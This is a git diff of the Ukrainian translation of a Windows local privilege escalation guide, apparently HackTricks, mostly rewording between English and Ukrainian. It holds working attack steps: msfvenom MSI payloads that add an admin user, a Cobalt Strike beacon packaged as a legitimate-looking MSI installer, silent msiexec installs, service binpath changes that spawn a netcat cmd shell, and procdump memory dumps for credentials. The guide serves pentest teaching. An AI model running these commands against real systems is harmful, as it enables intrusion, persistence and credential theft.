registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)? - [ ] Паролі в [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files)? -- [ ] Будь-яка резервна копія [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups)? +- [ ] Будь-який резервний файл [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups)? - [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)? - [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) файл? - [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)? @@ -106,10 +106,10 @@ ### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers) -- [ ] Чи маєте доступ до будь-якого handler процесу, запущеного адміністратором? +- [ ] Чи маєте доступ до будь-якого handler процесу, що запущений від імені адміністратора? ### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation) -- [ ] Перевірте, чи можна його зловживати +- [ ] Перевірити, чи можна це зловживати {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 92eb50826..8860e9bd2 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -33,20 +33,20 @@ acls-dacls-sacls-aces.md integrity-levels.md {{#endref}} -## Windows Security Controls +## Контролі безпеки Windows -У Windows існують різні механізми, які можуть **перешкоджати вам у енумерації системи**, запуску виконуваних файлів або навіть **виявити вашу активність**. Ви повинні **прочитати** наступну **сторінку** та **перелічити** усі ці **захисні** **механізми** перед початком privilege escalation enumeration: +У Windows існують різні механізми, які можуть **перешкодити вам у перерахунку системи (enumerating the system)**, блокувати запуск виконуваних файлів або навіть **виявити вашу діяльність**. Ви повинні **прочитати** наступну **сторінку** та **перелічити** усі ці **захисні механізми** перед початком privilege escalation enumeration: {{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}} -## System Info +## Інформація про систему -### Version info enumeration +### Перевірка інформації про версію -Перевірте, чи має версія Windows відомі вразливості (також перевірте встановлені патчі). +Перевірте, чи у версії Windows є відомі вразливості (також перевірте застосовані патчі). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -59,37 +59,37 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### Експлойти за версіями +### Version Exploits -Цей [site](https://msrc.microsoft.com/update-guide/vulnerability) зручний для пошуку детальної інформації про вразливості безпеки Microsoft. У цій базі даних понад 4,700 вразливостей, що демонструє **величезну поверхню атаки**, яку представляє середовище Windows. +[цей сайт](https://msrc.microsoft.com/update-guide/vulnerability) корисний для пошуку детальної інформації про Microsoft security vulnerabilities. Ця база налічує понад 4,700 security vulnerabilities, що демонструє **величезну поверхню атаки**, яку має середовище Windows. **На системі** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) -- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas має вбудований watson)_ +- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas has watson embedded)_ **Локально з інформацією про систему** - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) -**Github repos of exploits:** +**GitHub репозиторії з exploits:** - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) - [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits) -### Середовище +### Environment -Чи збережені які-небудь облікові дані/Juicy info у env variables? +Чи збережені якісь credential/Juicy дані в env variables? ```bash set dir env: Get-ChildItem Env: | ft Key,Value -AutoSize ``` -### PowerShell Історія +### Історія PowerShell ```bash ConsoleHost_history #Find the PATH where is saved @@ -99,9 +99,9 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` -### PowerShell файли транскрипту +### PowerShell файли транскрипції -Ви можете дізнатися, як увімкнути це за адресою [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) +Дізнайтеся, як увімкнути це, за адресою [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -116,7 +116,7 @@ Stop-Transcript ``` ### PowerShell Module Logging -Деталі виконання конвеєра PowerShell реєструються, включаючи виконані команди, виклики команд та частини скриптів. Проте повні деталі виконання та результати виводу можуть не фіксуватися. +Деталі виконання конвеєрів PowerShell фіксуються, охоплюючи виконані команди, виклики команд та частини скриптів. Проте повні відомості про виконання та результати виводу можуть не зберігатися. Щоб увімкнути це, дотримуйтесь інструкцій у розділі документації "Transcript files", обравши **"Module Logging"** замість **"Powershell Transcription"**. ```bash @@ -125,21 +125,21 @@ reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -Щоб переглянути останні 15 подій з журналів PowersShell, ви можете виконати: +Щоб переглянути останні 15 подій у PowersShell logs, ви можете виконати: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -Фіксується повний запис активності та вміст виконання скрипта, що гарантує документування кожного блоку коду під час його виконання. Цей процес зберігає всебічний аудиторський слід кожної операції, цінний для судової експертизи та аналізу шкідливої поведінки. Документуючи всю активність у момент виконання, надаються детальні відомості про процес. +Фіксується повний запис діяльності та весь вміст виконання скрипта, що гарантує документування кожного блоку коду під час його запуску. Цей процес зберігає всебічний audit trail кожної дії, цінний для forensics та аналізу шкідливої поведінки. Документуючи всю активність у момент виконання, він забезпечує детальні відомості про процес. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Записи подій для Script Block можна знайти у Windows Event Viewer за шляхом: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ -Щоб переглянути останні 20 подій, можна використати: +Записи подій для Script Block можна знайти в Windows Event Viewer за шляхом: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +Щоб переглянути останні 20 подій, ви можете використати: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview ``` @@ -158,7 +158,7 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| Ви можете скомпрометувати систему, якщо оновлення запитуються не через http**S**, а через http. -Почніть з перевірки, чи використовує мережа non-SSL WSUS update, виконавши наступне в cmd: +Почніть із перевірки, чи мережа використовує не-SSL WSUS для оновлень, виконавши наступне в cmd: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` @@ -166,7 +166,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` -Якщо ви отримаєте відповідь, наприклад одну з наведених: +Якщо ви отримаєте відповідь, таку як одна з цих: ```bash HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 @@ -180,11 +180,11 @@ PSChildName : windowsupdate PSDrive : HKLM PSProvider : Microsoft.PowerShell.Core\Registry ``` -А якщо `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` або `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` дорівнює `1`. +And if `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` or `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` is equals to `1`. -Тоді **це експлуатовано.** Якщо останній реєстровий параметр дорівнює 0, запис WSUS буде ігнорований. +Тоді, **it is exploitable.** Якщо останнє значення реєстру дорівнює `0`, запис WSUS буде ігноровано. -Щоб експлуатувати цю вразливість, можна використовувати інструменти на кшталт: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS](https://github.com/GoSecure/pywsus) — це MiTM-скрипти-експлойти для ін’єкції "фейкових" оновлень у не-SSL WSUS-трафік. +Щоб експлуатувати цю вразливість, можна використовувати інструменти, такі як: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) — це MiTM weaponized exploits scripts для інжекції 'fake' оновлень у non-SSL WSUS трафік. Read the research here: @@ -195,17 +195,17 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** [**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -По суті, це та вадина, яку експлуатує цей баг: +По суті, це дефект, який використовує цей баг: -> Якщо ми маємо можливість змінити локальний proxy для користувача, і Windows Updates використовує proxy, налаштований у налаштуваннях Internet Explorer, то ми можемо запустити локально [PyWSUS](https://github.com/GoSecure/pywsus), щоб перехопити власний трафік і виконати код від імені підвищеного користувача на нашому пристрої. +> Якщо ми маємо можливість змінити наш локальний проксі користувача, і Windows Updates використовує проксі, налаштований у Internet Explorer’s settings, то ми отримаємо можливість запустити [PyWSUS](https://github.com/GoSecure/pywsus) локально, щоб перехопити власний трафік і виконати код як підвищений користувач на нашому ресурсі. > -> Крім того, оскільки служба WSUS використовує налаштування поточного користувача, вона також використовуватиме його сховище сертифікатів. Якщо ми згенеруємо self-signed сертифікат для імені хоста WSUS і додамо цей сертифікат у сховище сертифікатів поточного користувача, ми зможемо перехоплювати як HTTP, так і HTTPS WSUS-трафік. WSUS не використовує механізмів на кшталт HSTS для реалізації довіри при першому використанні сертифіката. Якщо представлений сертифікат довірений користувачем і має правильне ім’я хоста, служба його прийме. +> Більш того, оскільки служба WSUS використовує налаштування поточного користувача, вона також використовуватиме його certificate store. Якщо ми згенеруємо self-signed certificate для WSUS hostname і додамо цей сертифікат у certificate store поточного користувача, ми зможемо перехоплювати як HTTP, так і HTTPS WSUS трафік. WSUS не використовує механізми на зразок HSTS для реалізації trust-on-first-use валідації сертифіката. Якщо представлений сертифікат довірений користувачем і має правильний hostname, він буде прийнятий службою. -Ви можете експлуатувати цю вразливість за допомогою інструмента [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (після його звільнення). +Ви можете використати цю вразливість за допомогою інструменту [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (коли він буде доступний). ## Third-Party Auto-Updaters and Agent IPC (local privesc) -Багато корпоративних агентів відкривають localhost IPC-інтерфейс і привілейований канал оновлень. Якщо enrollment можна примусити до серверу атакуючого, і updater довіряє підробленому root CA або має слабкі перевірки підпису, локальний користувач може доставити шкідливий MSI, який служба SYSTEM встановить. Див. узагальнену техніку (на основі ланцюжка Netskope stAgentSvc – CVE-2025-0309) тут: +Багато корпоративних агентів відкривають localhost IPC інтерфейс і привілейований канал оновлень. Якщо enrollment можна перенаправити на сервер атакуючого і updater довіряє rogue root CA або має слабкі перевірки підпису, локальний користувач може доставити шкідливий MSI, який служба SYSTEM встановить. Див. узагальнену техніку (на основі Netskope stAgentSvc chain – CVE-2025-0309) тут: {{#ref}} abusing-auto-updaters-and-ipc.md @@ -213,15 +213,15 @@ abusing-auto-updaters-and-ipc.md ## KrbRelayUp -Існує вразливість локального підвищення привілеїв у Windows **domain** середовищах за специфічних умов. Ці умови включають середовища, де **LDAP signing is not enforced**, користувачі мають права на самостійне налаштування **Resource-Based Constrained Delegation (RBCD)**, і можливість для користувачів створювати комп’ютери в домені. Важливо зазначити, що ці **вимоги** виконуються за **налаштувань за замовчуванням**. +A **local privilege escalation** vulnerability exists in Windows **domain** environments under specific conditions. These conditions include environments where **LDAP signing is not enforced,** users possess self-rights allowing them to configure **Resource-Based Constrained Delegation (RBCD),** and the capability for users to create computers within the domain. It is important to note that these **requirements** are met using **default settings**. -Знайдіть **експлойт у** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) +Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) -Для детальнішої інформації про послідовність атаки див. [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) +For more information about the flow of the attack check [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated -**Якщо** ці 2 параметри реєстру **увімкнені** (значення **0x1**), то користувачі будь-якого рівня привілеїв можуть **встановлювати** (виконувати) `*.msi` файли як NT AUTHORITY\\**SYSTEM**. +**If** these 2 registers are **enabled** (value is **0x1**), then users of any privilege can **install** (execute) `*.msi` files as NT AUTHORITY\\**SYSTEM**. ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -231,71 +231,72 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` -Якщо у вас є сесія meterpreter, ви можете автоматизувати цю техніку, використовуючи модуль **`exploit/windows/local/always_install_elevated`** +Якщо у вас є meterpreter сесія, ви можете автоматизувати цю техніку за допомогою модуля **`exploit/windows/local/always_install_elevated`** ### PowerUP -Використайте команду `Write-UserAddMSI` з power-up, щоб створити в поточному каталозі Windows MSI бінарник для підвищення привілеїв. Цей скрипт записує готовий MSI-інсталятор, який запитує додавання користувача/групи (тому вам потрібен GIU access): +Використайте команду `Write-UserAddMSI` з power-up, щоб створити в поточному каталозі Windows MSI бінарний файл для підвищення привілеїв. Цей скрипт записує попередньо скомпільований MSI інсталятор, який запитує додавання користувача/групи (тому вам потрібен GIU доступ): ``` Write-UserAddMSI ``` -Просто виконайте створений бінарний файл, щоб підвищити привілеї. +Просто запустіть створений binary, щоб підвищити привілеї. ### MSI Wrapper -Прочитайте цей підручник, щоб дізнатися, як створити MSI wrapper за допомогою цього інструменту. Зауважте, що ви можете запакувати файл **.bat**, якщо ви **лише** хочете **виконувати** **командні рядки** +Read this tutorial to learn how to create a MSI wrapper using this tools. Note that you can wrap a "**.bat**" file if you **just** want to **execute** **command lines** + {{#ref}} msi-wrapper.md {{#endref}} -### Створення MSI за допомогою WIX +### Create MSI with WIX {{#ref}} create-msi-with-wix.md {{#endref}} -### Створення MSI за допомогою Visual Studio +### Create MSI with Visual Studio -- **Згенеруйте** за допомогою Cobalt Strike або Metasploit **new Windows EXE TCP payload** у `C:\privesc\beacon.exe` -- Відкрийте **Visual Studio**, виберіть **Create a new project** і введіть "installer" у поле пошуку. Виберіть проект **Setup Wizard** і натисніть **Next**. -- Дайте проекту назву, наприклад **AlwaysPrivesc**, використайте **`C:\privesc`** як місце розташування, виберіть **place solution and project in the same directory**, і натисніть **Create**. -- Продовжуйте натискати **Next**, доки не дійдете до кроку 3 з 4 (вибір файлів для включення). Натисніть **Add** і виберіть Beacon payload, який ви щойно згенерували. Потім натисніть **Finish**. -- Виділіть проект **AlwaysPrivesc** в **Solution Explorer** і в **Properties** змініть **TargetPlatform** з **x86** на **x64**. -- Є інші властивості, які можна змінити, наприклад **Author** і **Manufacturer**, щоб встановлений додаток виглядав більш легітимно. -- Клікніть правою кнопкою на проекті та виберіть **View > Custom Actions**. -- Клікніть правою кнопкою на **Install** і виберіть **Add Custom Action**. -- Двічі клікніть **Application Folder**, виберіть файл **beacon.exe** і натисніть **OK**. Це гарантує, що beacon payload буде виконано відразу після запуску інсталятора. -- В секції **Custom Action Properties** змініть **Run64Bit** на **True**. -- Нарешті, **зберіть його**. -- Якщо показано попередження `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, переконайтеся, що ви встановили платформу на x64. +- **Generate** with Cobalt Strike or Metasploit a **new Windows EXE TCP payload** in `C:\privesc\beacon.exe` +- Open **Visual Studio**, select **Create a new project** and type "installer" into the search box. Select the **Setup Wizard** project and click **Next**. +- Give the project a name, like **AlwaysPrivesc**, use **`C:\privesc`** for the location, select **place solution and project in the same directory**, and click **Create**. +- Keep clicking **Next** until you get to step 3 of 4 (choose files to include). Click **Add** and select the Beacon payload you just generated. Then click **Finish**. +- Highlight the **AlwaysPrivesc** project in the **Solution Explorer** and in the **Properties**, change **TargetPlatform** from **x86** to **x64**. +- There are other properties you can change, such as the **Author** and **Manufacturer** which can make the installed app look more legitimate. +- Right-click the project and select **View > Custom Actions**. +- Right-click **Install** and select **Add Custom Action**. +- Double-click on **Application Folder**, select your **beacon.exe** file and click **OK**. This will ensure that the beacon payload is executed as soon as the installer is run. +- Under the **Custom Action Properties**, change **Run64Bit** to **True**. +- Finally, **build it**. +- If the warning `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` is shown, make sure you set the platform to x64. -### Установка MSI +### MSI Installation -Щоб виконати **встановлення** шкідливого `.msi` файлу у **фоні:** +To execute the **installation** of the malicious `.msi` file in **background:** ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` -Для експлуатації цієї вразливості ви можете використати: _exploit/windows/local/always_install_elevated_ +Щоб експлуатувати цю вразливість, ви можете використати: _exploit/windows/local/always_install_elevated_ -## Антивіруси та детектори +## Антивірус та детектори ### Налаштування аудиту -Ці налаштування визначають, що **реєструється**, тож вам слід звернути на них увагу. +Ці налаштування визначають, що **реєструється**, тому слід звертати на них увагу. ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Windows Event Forwarding — цікаво знати, куди надсилаються logs +Windows Event Forwarding, цікаво знати, куди надсилаються логи. ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS** призначено для **керування local Administrator passwords**, забезпечуючи, що кожен пароль є **унікальним, випадково згенерованим та регулярно оновлюваним** на комп’ютерах, приєднаних до домену. Ці паролі надійно зберігаються в Active Directory і можуть бути доступні лише користувачам, яким надано достатні дозволи через ACLs, які дозволяють їм переглядати local admin passwords, якщо вони уповноважені. +**LAPS** призначено для **управління локальними Administrator паролями**, що гарантує, що кожен пароль є **унікальним, випадковим і регулярно оновлюваним** на комп'ютерах, приєднаних до домену. Ці паролі надійно зберігаються в Active Directory і доступні лише користувачам, яким через ACLs надано відповідні права, що дозволяє їм переглядати локальні admin-паролі за наявності відповідного дозволу. {{#ref}} @@ -304,27 +305,27 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -Якщо активовано, **plain-text паролі зберігаються в LSASS** (Local Security Authority Subsystem Service).\ +Якщо увімкнено, **plain-text passwords are stored in LSASS** (Local Security Authority Subsystem Service).\ [**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` ### LSA Protection -Починаючи з **Windows 8.1**, Microsoft запровадила посилений захист для Local Security Authority (LSA), щоб **блокувати** спроби ненадійних процесів **зчитувати її пам'ять** або inject code, додатково захищаючи систему.\ -[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). +Починаючи з **Windows 8.1**, Microsoft запровадила посилений захист для Local Security Authority (LSA), щоб **блокувати** спроби ненадійних процесів **читати його пам'ять** або впроваджувати код, додатково захищаючи систему.\ +[**Детальніше про LSA Protection тут**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** був представлений у **Windows 10**. Його мета — захищати credentials, збережені на пристрої, від загроз, таких як pass-the-hash attacks.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** було впроваджено у **Windows 10**. Його мета — захищати облікові дані, збережені на пристрої, від загроз, таких як pass-the-hash attacks.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` ### Cached Credentials -**Domain credentials** автентифікуються **Local Security Authority** (LSA) і використовуються компонентами операційної системи. Коли дані для входу користувача автентифіковано зареєстрованим security package, domain credentials для користувача зазвичай встановлюються.\ +**Domain credentials** автентифікуються **Local Security Authority** (LSA) та використовуються компонентами операційної системи. Коли дані входу користувача автентифікуються зареєстрованим пакетом безпеки, для користувача зазвичай встановлюються domain credentials.\ [**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT @@ -333,7 +334,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO ### Перелічення користувачів та груп -Варто перевірити, чи мають групи, до яких ви належите, цікаві дозволи. +Вам слід перевірити, чи мають якісь із груп, до яких ви належите, цікаві дозволи ```bash # CMD net users %username% #Me @@ -350,7 +351,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### Привілейовані групи -Якщо ви **належите до якоїсь привілейованої групи, ви можете підвищити свої права**. Дізнайтеся про привілейовані групи та як зловживати ними, щоб підвищити права, тут: +Якщо ви **належите до якоїсь привілейованої групи, ви можете підвищити свої привілеї**. Дізнайтеся про привілейовані групи та як зловживати ними для підвищення привілеїв тут: {{#ref}} @@ -360,14 +361,14 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ### Token manipulation **Дізнайтеся більше** про те, що таке **token** на цій сторінці: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -Перегляньте наступну сторінку, щоб **дізнатися про цікаві tokens** та як зловживати ними: +Перегляньте наступну сторінку, щоб **дізнатися про цікаві tokens** та як ними зловживати: {{#ref}} privilege-escalation-abusing-tokens.md {{#endref}} -### Користувачі, що увійшли / сеанси +### Увійдені користувачі / Сесії ```bash qwinsta klist sessions @@ -389,8 +390,8 @@ powershell -command "Get-Clipboard" ### Права доступу до файлів і папок -По-перше, перелікуючи процеси, **перевірте наявність паролів всередині command line процесу**.\ -Перевірте, чи можете ви **overwrite some binary running** або чи маєте права запису в папку binary, щоб експлуатувати можливі [**DLL Hijacking attacks**](dll-hijacking/index.html): +По-перше, переглядаючи список процесів, **перевірте наявність паролів у командному рядку процесу**.\ +Перевірте, чи можете **перезаписати якийсь запущений бінарний файл** або чи маєте права на запис у папці з бінарними файлами, щоб використати можливі [**DLL Hijacking attacks**](dll-hijacking/index.html): ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -401,7 +402,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Завжди перевіряйте наявність можливих [**electron/cef/chromium debuggers** що виконуються — ви можете зловживати ними для ескалації привілеїв](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +Завжди перевіряйте наявність можливих [**electron/cef/chromium debuggers** — їх можна використати для підвищення привілеїв](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). **Перевірка дозволів бінарних файлів процесів** ```bash @@ -412,7 +413,7 @@ icacls "%%z" ) ) ``` -**Перевірка дозволів папок бінарних файлів процесів (**[**DLL Hijacking**](dll-hijacking/index.html)**)** +**Перевірка дозволів папок бінарних файлів процесів (**[**DLL Hijacking**](dll-hijacking/index.html)**)**) ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -422,15 +423,15 @@ todos %username%" && echo. ``` ### Memory Password mining -Ви можете створити дамп пам'яті працюючого процесу за допомогою **procdump** з sysinternals. Сервіси, такі як FTP, містять **credentials in clear text in memory** — спробуйте зробити дамп пам'яті та прочитати credentials. +Ви можете створити дамп пам'яті працюючого процесу, використовуючи **procdump** з sysinternals. Сервіси, як-от FTP, містять **credentials in clear text in memory**, спробуйте зробити дамп пам'яті та прочитати credentials. ```bash procdump.exe -accepteula -ma ``` ### Небезпечні GUI-додатки -**Додатки, що виконуються під SYSTEM, можуть дозволити користувачеві запустити CMD або переглядати каталоги.** +**Застосунки, що запускаються як SYSTEM, можуть дозволити користувачу викликати CMD або переглядати директорії.** -Приклад: "Windows Help and Support" (Windows + F1), знайдіть "command prompt", натисніть "Click to open Command Prompt" +Приклад: "Windows Help and Support" (Windows + F1), знайдіть "command prompt", клацніть "Click to open Command Prompt" ## Служби @@ -443,11 +444,11 @@ Get-Service ``` ### Дозволи -Ви можете використати **sc** для отримання інформації про службу +Ви можете використовувати **sc** щоб отримати інформацію про службу ```bash sc qc ``` -Рекомендується мати бінарний файл **accesschk** від _Sysinternals_ для перевірки необхідного рівня привілеїв для кожної служби. +Рекомендується мати бінарний файл **accesschk** з _Sysinternals_ для перевірки необхідного рівня привілеїв для кожної служби. ```bash accesschk.exe -ucqv #Check rights for different groups ``` @@ -458,29 +459,29 @@ accesschk.exe -uwcqv %USERNAME% * /accepteula accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ``` -[You can download accesschk.exe for XP for here](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) +[Ви можете завантажити accesschk.exe для XP тут](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) ### Увімкнути службу -Якщо у вас виникає ця помилка (наприклад зі SSDPSRV): +Якщо ви отримуєте цю помилку (наприклад з SSDPSRV): _System error 1058 has occurred._\ _The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ -Ви можете увімкнути її за допомогою +Ви можете увімкнути її, використовуючи ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` **Врахуйте, що служба upnphost залежить від SSDPSRV для роботи (для XP SP1)** -**Інший обхідний шлях** цієї проблеми — запустити: +**Ще один обхідний шлях** цієї проблеми — запустити: ``` sc.exe config usosvc start= auto ``` -### **Modify service binary path** +### **Змінити шлях бінарного файлу сервісу** -У випадку, коли група "Authenticated users" має **SERVICE_ALL_ACCESS** для сервісу, можливо змінити виконуваний бінарний файл сервісу. Щоб змінити та виконати **sc**: +У випадку, коли група "Authenticated users" має **SERVICE_ALL_ACCESS** для сервісу, можливе змінення виконуваного бінарного файлу сервісу. Щоб змінити та виконати **sc**: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -495,18 +496,18 @@ net stop [service name] && net start [service name] ``` Ескалацію привілеїв можна здійснити через різні дозволи: -- **SERVICE_CHANGE_CONFIG**: Дозволяє змінювати бінарний файл, який виконується службою. -- **WRITE_DAC**: Дозволяє змінювати права доступу, що призводить до можливості змінювати конфігурацію сервісів. -- **WRITE_OWNER**: Дозволяє отримати власність та змінювати права доступу. -- **GENERIC_WRITE**: Надає можливість змінювати конфігурацію сервісів. -- **GENERIC_ALL**: Також надає можливість змінювати конфігурацію сервісів. +- **SERVICE_CHANGE_CONFIG**: Дозволяє переналаштувати бінарний файл сервісу. +- **WRITE_DAC**: Дозволяє змінювати права доступу, через що можна змінювати конфігурації сервісів. +- **WRITE_OWNER**: Дозволяє стати власником і змінювати дозволи. +- **GENERIC_WRITE**: Наслідує можливість змінювати конфігурації сервісів. +- **GENERIC_ALL**: Також наслідує можливість змінювати конфігурації сервісів. -Для виявлення та експлуатації цієї вразливості можна використати _exploit/windows/local/service_permissions_. +Для виявлення й експлуатації цієї вразливості можна використати _exploit/windows/local/service_permissions_. -### Services binaries weak permissions 